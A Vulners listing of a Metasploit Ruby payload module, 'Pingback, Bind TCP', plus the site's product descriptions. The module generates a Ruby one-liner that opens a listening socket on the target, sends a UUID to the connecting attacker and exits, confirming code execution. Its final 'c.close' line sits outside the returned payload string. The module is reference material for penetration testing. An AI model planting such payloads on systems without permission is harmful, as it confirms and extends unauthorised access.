Lucene search
K

Ruby Pingback, Bind TCP

🗓️ 26 Jul 2019 00:42:50Reported by asoto-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 33 Views

Listens for a connection from attacker, sends UUID, terminates. Ruby module

Code

module MetasploitModule

  CachedSize = 103

  include Msf::Payload::Single
  include Msf::Payload::Ruby
  include Msf::Payload::Pingback
  include Msf::Payload::Pingback::Options

  def initialize(info = {})
    super(merge_info(info,
      'Name' => 'Ruby Pingback, Bind TCP',
      'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
      'Author' => 'asoto-r7',
      'License' => MSF_LICENSE,
      'Platform' => 'ruby',
      'Arch' => ARCH_RUBY,
      'Handler' => Msf::Handler::BindTcp,
      'Session' => Msf::Sessions::Pingback,
      'PayloadType' => 'ruby'
    ))
  end

  def generate(_opts = {})
    #return prepends(ruby_string)
    return ruby_string
  end

  def ruby_string
    self.pingback_uuid ||= self.generate_pingback_uuid
    return "require'socket';" \
      "s=TCPServer.new(#{datastore['LPORT'].to_i});"\
      "c=s.accept;"\
      "s.close;"\
      "c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}\'.unpack('m0');"
      "c.close"
  end
end


Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation